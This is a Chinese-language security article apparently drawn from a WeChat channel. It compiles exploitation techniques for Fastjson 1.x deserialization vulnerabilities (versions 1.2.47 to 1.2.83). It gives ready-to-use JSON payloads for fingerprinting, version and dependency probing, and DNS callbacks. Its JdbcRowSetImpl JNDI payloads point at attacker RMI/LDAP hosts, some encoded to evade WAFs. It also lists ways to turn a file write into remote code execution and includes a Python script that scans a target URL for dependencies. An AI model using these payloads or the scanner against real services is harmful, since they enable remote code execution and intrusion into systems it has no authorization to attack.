0x01 简介
Fastjson1 全版本反序列化漏洞利用体系,讲解反序列化核心流程、parse 与 parseObject 行为差异,汇总目标探测手段,包含版本识别、依赖探测、期望类判断以及各类 WAF 绕过技巧。重点剖析 1.2.47、1.2.68、1.2.80、1.2.83 经典绕过原理,整理 JDBC、commons-io 读写文件等多条利用链,阐述写文件转化 RCE 落地思路。配套各类 Payload 思路与开源工具清单,解决现有资料碎片化问题,便于安全从业者学习、复盘与实战落地。
整理 Fastjson1 全版本利用要点——反序列化流程、版本/依赖/期望类探测、WAF 绕过,以及 1.2.47 / 68 / 80 / 83 关键绕过与各利用链;并附配套工具,方便复习与落地。
现在只对常读和星标的才展示大图推送,建议大家把渗透安全HackTwo“设为星标”,否则可能就看不到了啦!
完整文章:Fastjson1全版本(1.2.47→1.2.83 )漏洞利用3万字完整总结、绕过分析、探测、WAF 绕过与 Gadget 汇总
末尾可领取挖洞资料/加圈子 #渗透安全HackTwo
0x02 正文详情
反序列化流程
先抛一个实际利用里经常碰到的问题:如果某个字段既出现在 public 有参构造里,又有 setter,那 Fastjson 到底走哪条路?
存在无参构造
Fastjson 首先调用无参构造函数(
new ClassName())实例化对象
解析 JSON 中的键值对
通过反射调用该字段对应的Setter(
setFieldName(...))把值注入进去
此时有参构造会被忽略
不存在无参构造
Fastjson 检测到没有无参构造后,会尝试匹配参数最多的有参构造
从 JSON 里抽出对应构造参数的值
调用有参构造函数(
new ClassName(arg1, arg2...))实例化对象
如果 JSON 里还有不在构造参数列表中的字段,且这些字段有 Setter,则会在实例化后再调用那些 Setter
使用了@JSONCreator 注解
如果在构造函数(或静态工厂方法)上标了@JSONCreator,Fastjson 会强制走该构造,不管有没有无参构造或 Setter,值都通过构造注入。安全研究场景里比较少见。
所以可以利用的入口主要是 setter,或者有参构造。有参构造是从 JSON 内层执行到外层的。
KCON2022 里也有一张比较直观的图:
parse和parseObject
更细的源码分析见:
https://1diot9.github.io/2025/12/04/Fastjson%E6%BA%90%E7%A0%81%E5%88%86%E6%9E%90/这里先记结论,后面写 payload 时不容易绕晕:
parse和多参
parseObject(存在期望类) 行为接近,都会调用 setter,以及符合条件的 getter,如下图:
单参
parseObject会额外触发所有 public getter
parse反序列化且不指定类型时,可以通过
$ref触发 getter
默认只能触发 public 方法,除非开启了
Feature.SupportNonPublicField
写文件如何 RCE
Fastjson 高版本利用里,写文件链出现得很多。写完文件之后怎么落到 RCE,可以参考:
https://mp.weixin.qq.com/s/n8RW0NIllcQ0sn3nI9uceA大致可以概括成下面几类:
1、计划任务 / sshkey,通常需要 root 2、写 jsp 等 webshell,不适用于纯 jar 部署 3、写 jar 覆盖 jre/lib,最经典的是覆盖 charsets.jar;没法写二进制时,可以考虑 ascii jar:https://github.com/c0ny1/ascii-jar 4、写 jre classes,需要知道并创建目录,还要有入口点 5、写 classes + SPI,同样需要知道目录并能创建目录 6、写 tomcat-docbase class,需要知道目录,且依赖特定 ClassLoader(基本限制在 Fastjson 利用场景)其中方法 3~5 基本只在 JDK8 下好用。
探测
Fastjson 判断
1、根据报错信息判断
故意破坏 JSON,看报错回显:
{"age":20,"name":"Bob"也可以用@type探一下 AutoType 是否开启:
{"@type":"whatever"}2、根据解析变化判断
{"a":new a(1),"b":x'11',/*\*\/"c":Set[{}{}],"d":"\u0000\x00"}{"ext":"blue","name":{"$ref":"$.ext"}}
3、DNS 请求
不出网时,也可以根据响应时间是否变长来间接判断:
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}4、区别 Jackson
// 多余的类成员: 添加一个键值 test,jackson会报错,fastjson不会
{"age":20,"name":"Bob","test":1} // jackson 不支持单引号作为界定符 {"age":20,'name':'Bob'} // jackson 可以使用注释符/*#,fastjson 会报错,fastjson的注释符是 // { "age":20, "name":'Bob' }/* #aaaa // jackson 会丢失精度 { "age":20.111111111111111111111111111, "name":'Bob' } 5、区别 Gson // 浮点类型精度丢失 {a:1.111111111111111111111111111} // 注释符 #\r\n{a:1}6、区别 org.json
// 特殊字符{a:'\r'}
版本探测
参考:
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA1、AutoType 探测
{"xxx":{"@type":"java.lang.Class","val":""}} {"xxx":{"@type":"Random.String"}}开启 AutoType 时:payload1 报错,payload2 不报错
autoType is not support. java.lang.Class
未开启 AutoType 时:payload1 不报错,payload2 报错
autoType is not support. Random.String
2、AutoCloseable 精确探测
{ "@type": "java.lang.AutoCloseable"注意:Fastjson 1.2.76 之后,即使用这种方式,探测结果也会停在 1.2.76。
3、1.2.83 具体探测
{"xxx":{"@type":"Test.TestException"}}只有 1.2.83 时不报错。
4、dnslog 探测大致版本
// <=1.2.47 [ { "@type": "java.lang.Class", "val": "java.io.ByteArrayOutputStream" }, { "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.net.InetSocketAddress" { "address":, "val": "aaa.xxxx.ceye.io" } } ] // <=1.2.68 [ { "@type": "java.lang.AutoCloseable", "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.io.ByteArrayOutputStream" }, { "@type": "java.net.InetSocketAddress" { "address":, "val": "bbb.n41tma.ceye.io" } } ] // <=1.2.80 只收到第一个dns请求,1.2.83 收到两个dns请求 [ { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "x": { "@type": "java.net.InetSocketAddress" { "address":, "val": "ccc.4fhgzj.dnslog.cn" } } }, { "@type": "java.lang.Exception", "@type": "com.alibaba.fastjson.JSONException", "message": { "@type": "java.net.InetSocketAddress" { "address":, "val": "ddd.4fhgzj.dnslog.cn" } } } ]5、不出网探测:根据响应是 500 还是正常判断
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA【不报错】1.2.83/1.2.24 【报错】1.2.25-1.2.80{"zero":{"@type":"java.lang.Exception","@type":"org.XxException"}}
{"zero":{"@type":"java.lang.AutoCloseable","@type":"java.io.ByteArrayOutputStream"}} 【不报错】1.2.24-1.2.47 【报错】1.2.48-1.2.83 { "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl" } } 【不报错】1.2.24 【报错】1.2.25-1.2.83 {"zero": {"@type": "com.sun.rowset.JdbcRowSetImpl"}}【不报错】1.2.24-1.2.68 【报错】1.2.70-1.2.83依赖探测
1、Character 转换报错
{ "x": { "@type": "java.lang.Character"{ "@type": "java.lang.Class", "val": "org.springframework.web.bind.annotation.RequestMapping" }}类存在时会报can not cast,不存在则往往是No message available。
一些相关依赖类:
org.springframework.web.bind.annotation.RequestMapping //SpringBoot org.apache.catalina.startup.Tomcat //Tomcat groovy.lang.GroovyShell //Groovy - 1.2.80 com.mchange.v2.c3p0.DataSources //C3P0 org.apache.ibatis.datasource.unpooled.UnpooledDataSource //mybatis org.h2.jdbcx.JdbcDataSource //h2 com.mysql.jdbc.Buffer //mysql-jdbc-5 com.mysql.cj.api.authentication.AuthenticationProvider //mysql-connect-6 com.mysql.cj.protocol.AuthenticationProvider //mysql-connect-8 jdk.nashorn.tools.Shell //JDK8 java.net.http.HttpClient //JDK11 com.sun.org.apache.bcel.internal.util.ClassLoader // <= jdk8u251 org.apache.ibatis.type.Alias //Mybatis org.apache.tomcat.dbcp.dbcp.BasicDataSource //tomcat-dbcp-7-BCEL org.apache.tomcat.dbcp.dbcp2.BasicDataSource //tomcat-dbcp-8及以后-BCEL org.apache.commons.dbcp.BasicDataSource //commons-dbcp <= 1.4 org.apache.commons.dbcp2.BasicDataSource //commons-dbcp2 <= 2.13.0 org.apache.commons.io.ByteOrderMark //commons-io-通用类,不确定版本 org.apache.commons.io.Java7Support //commons-io-2.5独有 org.apache.commons.io.IOIndexedException //commons-io-2.7独有 org.apache.commons.io.file.Counters //commons-io-2.7-2.8独有 org.apache.commons.io.FileSystem //commons-io-2.7独有 org.apache.commons.io.file.PathUtils //commons-io-2.7独有 org.apache.commons.io.function.IOConsumer //commons-io-2.7独有 org.aspectj.ajde.Ajde //aspectjtools com.fasterxml.jackson.core.exc.InputCoercionException //jackson org.python.antlr.ParseException //jython org.postgresql.jdbc.PgConnection //postgre配套脚本:
import requests import os def jar_scanner(url: str, timeout: int = 10) -> list: """ 扫描目标URL的fastjson依赖库 Args: url: 目标URL timeout: 请求超时时间(秒) Returns: list: 检测到的依赖列表 """ base_dir = os.path.dirname(os.path.abspath(__file__)) jar_list_path = os.path.join(base_dir, "poc", "jarList.txt") jar_scan_path = os.path.join(base_dir, "poc", "jarScan.json") # 读取jarScan.json模板(畸形JSON,直接读取文本) with open(jar_scan_path, "r", encoding="utf-8") as f: poc_template = f.read() # 读取jarList.txt with open(jar_list_path, "r", encoding="utf-8") as f: lines = f.readlines() detected_jars = [] for line in lines: line = line.strip() if not line or "//" not in line: continue # 按 // 划分,获取类名和依赖说明 parts = line.split("//") clazz = parts[0].strip() description = parts[1].strip() if len(parts) > 1 else "" # 替换POC模板中的${clazz} poc_data = poc_template.replace("${clazz}", clazz) try: # 发送POST请求,使用data=发送原始数据 response = requests.post( url, data=poc_data, headers={"Content-Type": "application/json"}, timeout=timeout ) # 检查响应中是否包含 "can not cast to char" if "can not cast to char" in response.text: result = f"\033[92m[+] 发现依赖: {description} ({clazz})\033[0m" print(result) detected_jars.append({ "class": clazz, "description": description, "line": line.strip() }) else: print(f"[-] 未检测到: {description} ({clazz})") except requests.exceptions.Timeout: print(f"[!] 请求超时: {clazz}") except requests.exceptions.RequestException as e: print(f"[!] 请求失败: {clazz} - {e}") except Exception as e: print(f"[!] 异常: {clazz} - {e}") return detected_jars if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python main.py <target_url>") print("Example: python main.py http://example.com/api") sys.exit(1) target_url = sys.argv[1] print(f"[*] 开始扫描目标: {target_url}") print("=" * 60) results = jar_scanner(target_url) print("=" * 60) print(f"[*] 扫描完成,共发现 {len(results)} 个依赖")2、dnslog
{"@type":"java.net.Inet4Address", "val":{"@type":"java.lang.String" {"@type":"java.util.Locale", "val":{ "@type":"com.alibaba.fastjson.JSONObject",{ "@type": "java.lang.String""@type":"java.util.Locale", "language":{"@type":"java.lang.String" {1:{"@type":"java.lang.Class","val":"TARGET_CLASS"}}, "country":"x.l56y7u6g.dnslog.pw" }} }我本地试了好几次一直不行:
判断是否存在期望类
https://mp.weixin.qq.com/s/7c_zi5Pv4a69IV0zzJo5Ww黑盒里经常会碰到:入口到底是JSON.parse(json),还是JSON.parseObject(json, Xxx.class)/ Spring 参数绑定带了期望类?两者后面能用的链差很多,有必要先探一下。
像下面这种写法,反序列化时就带着期望类:
JSONObject.parseObject(payload, Test.class)Spring 配了 Fastjson 做参数解析时,框架层也会在反序列化参数时塞进期望类。可以在原请求参数上叠一层来测:
{"@type":"com.alibaba.fastjson.support.geo.Feature"}例如原始请求:
{"username":"admin","password":"123456"}改成:
{ "@type": "com.alibaba.fastjson.support.geo.Feature", "username": "admin", "password": "123456" }如果原参数是数组,可以写成:
[ { "@type": "com.alibaba.fastjson.support.geo.Feature", "username": "admin", "password": "123456" } ]报错→ 该反序列化点存在期望类。
注意:com.alibaba.fastjson.support.geo.Feature是 1.2.68 才引入的,顺便也能用来判断版本是否低于 1.2.68。
还有一个更抽象一点的写法:
{{}:{}}结合原参数:
{ {}: {}, "username": "admin", "password": "123456" }若存在期望类,且期望类型不是Map及其子类,一般会报错。再改成嵌在字段里的形式,往往就不报错了:
{ "test": { { {}: {} }: "" }, "username": "admin", "password": "123456" } 存在期望类时,利用上会多两道限制:
1、靠 getter 触发的 payload,大多数打不起来
2、$ref引用基本用不了——结果会被转成期望类对象,引用只能落到期望类已有的成员上;成员多半是 String / 数字,而链子里要引用的往往是对象,类型一对不上就断了(比如 commons-io 读文件那套就很难直接用)
后文「小技巧」里的java.util.Currency,就是针对「有期望类还想触发 getter」的一种绕法。
WAF 绕过
Unicode / hex 编码:
{"\x40\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","dataSourceName":"rmi://127.0.0.1:1099/Exploit", "autoCommit":true} {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"$%7bjndi:ldap://1.1.1.1:1389/EvilObject%7d","autoCommit": true}}多个逗号:
{,,,,,,"@type":"com.sun.rowset.JdbcRowSetImpl",,,,,,"dataSourceName":"rmi://127.0.0.1:1099/Exploit",,,,,, "autoCommit":true }_和-绕过:
Fastjson 解析 JSON 字段 key 时,会把_和-替换为空。1.2.36 之前二者只能单独用;1.2.36 及之后支持混合使用。
0x03 总结
完成版文章请看:Fastjson1全版本(1.2.47→1.2.83 )漏洞利用3万字完整总结、绕过分析、探测、WAF 绕过与 Gadget 汇总